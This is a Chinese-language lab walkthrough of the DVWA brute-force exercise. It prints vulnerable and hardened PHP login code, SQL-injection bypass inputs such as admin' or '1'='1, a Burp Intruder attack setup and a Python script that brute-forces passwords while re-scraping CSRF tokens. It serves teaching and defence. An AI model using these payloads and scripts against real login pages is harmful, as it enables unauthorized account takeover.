目录

  1. 安全级别Low
    1. 源码分析
    2. 漏洞复现
  2. 安全级别Medium
  3. 安全级别High
    1. 源码分析
    2. 漏洞复现
  4. 安全级别Impossible

  暴力破解是指攻击者通过穷举的方式,一一验证,直到猜出用户口令。攻击者使用的穷举文本称为密码字典,密码字典中记录了多数用户的习惯密码,如qwer、1234等简单密码。当然要获取更精确的字典,需要攻击者进行社区信息采集,收集用户信息。

安全级别Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  登录界面如下:

  源码中使用GET方式获取用户输入的参数,通过sql查询语句,查询用户名和密码是否对应。注意到代码没有对用户输入进行检查,不能防范sql注入攻击。没有对登录次数进行限制,因此也可以实施爆破。

漏洞复现

sql注入绕过
  由源码可知,查询正确时才会登录成功,因此我们的用户名至少要正确,密码可以通过sql注入绕过。很多服务器都会使用admin这个用户,我们输入:

1
2
admin' or '1'='1
admin'#

  通过单引号闭合,并使用#注释后面的密码字段。若数据库中有admin用户,则可以正确查询。结果如下:

爆破密码

  爆破需要使用burpsuit工具,打开burpsuit配置好代理,我们在登录界面输入用户名admin、密码123,burpsuit会抓取该数据包:

  可以看到我们提交的http头部信息,如session和cookie信息、输入的用户名和密码等。将数据包send to intruder:

  图中$$包含的部分是Intruder自动识别的变量,我们只需要爆破用户名和密码,只将用户名密码设置为需要破解的变量,其余的都clear。本次实验中我只选取密码字段来爆破:

  设置好后,点击payloads,load导入我们的密码字典:

  点击右上角start attack,burpsuit就开始爆破,尝试我们导入的每一个密码,结果如下:

  在爆破时,需要关注length字段,当有一个密码的length与其他都不相同时,就可能是正确的密码。
  使用爆破得到的用户名admin和密码password登录,登录成功:

安全级别Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  中级代码中使用mysqli_real_escape_string对输入进行简单过滤,mysqli_real_escape_string(string,connection) 函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义,防止sql注入。
  但代码并未对爆破进行限制,可以使用同上流程进行爆破,不同的是当登录错误时,会sleep延时2秒,因此爆破时间会更长。

安全级别High

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

  代码中使用stripslashes函数去除字符串中的反斜杠\,mysqli_real_escape_string函数对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
  由于使用了Anti-CSRF token来抵御CSRF的攻击,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。因此不能像安全级别Low一样简单爆破,需要重新设置。

漏洞复现

  在登录界面输入用户名admin、密码123,burpsuit会抓包:

  可以看到包中有一个user_token变量,发送到 Intruder ,设置attack type为Pitchfork,清除其他变量,给password和user_token加上变量(美元$符号):

  在options中设置线程数为1:

  在options中找到Grep-Extract模块,第一步点击add,会打开如下图界面,第二步点击Refresh response,在下方出现的数据中找到user_token的value,鼠标选中该值并复制,该值之后会用到,选中后其他数据会自动变化,然后点击ok:

  在options中找到Redirections模块,设置为Always:

  设置payloads。第一个变量为password,因此payloads和之前Low中一样,type为Simple list,load导入我们的密码字典:

  第二个payloads为user_token,type设置为Recursive grep,然后在下方方框中粘贴我们复制的token值:

  右上角start attack,开始爆破,按照length排序,length与其他不同的可能就是匹配值,结果如下:

  除了使用Burpsuit,也可以使用python脚本构造数据包头部来爆破,给出一个脚本如下(脚本来源DVWA之Brute Force(暴力破解)):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from bs4 import BeautifulSoup
import requests

header={'Host':'192.168.71.1',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer':'http://192.168.71.1/DVWA/vulnerabilities/brute/',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'cookie':'security=high; PHPSESSID=ors4oc2dv7hculoj5gasaghcp9',
'Connection':'close',
}
requrl="http://192.168.71.1/DVWA/vulnerabilities/brute/"

def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']") #返回的是一个list列表
user_token=input[0]['value'] #获取用户的token
return user_token

user_token=get_token(requrl,header)
i=0
for line in open("C:\\Users\\24107\\Desktop\\password.txt"):
requrl="http://192.168.71.1/DVWA/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
if(i==20):
break

  脚本中的字段是针对我个人电脑上的谷歌浏览器,在自己使用前,先burpsuit抓取一个登陆包,然后按照数据包中的头部数据和顺序替换脚本中的header,还有爆破对象的链接、密码字典存放路径也要记得修改。
  结果如下:

安全级别Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

  源码使用Anti-CSRF token防止CSRF攻击,同时采用PDO(PHP Data Object)机制防御sql注入。
  在数据库中针对每一个用户名添加了failed_login, last_login字段,记录用户错误登录次数和上一次登录时间,当错误次数大于3次时,锁定账户15分钟。当正确的用户登录时,提示该用户可能被爆破攻击,并显示错误次数和上次登录时间。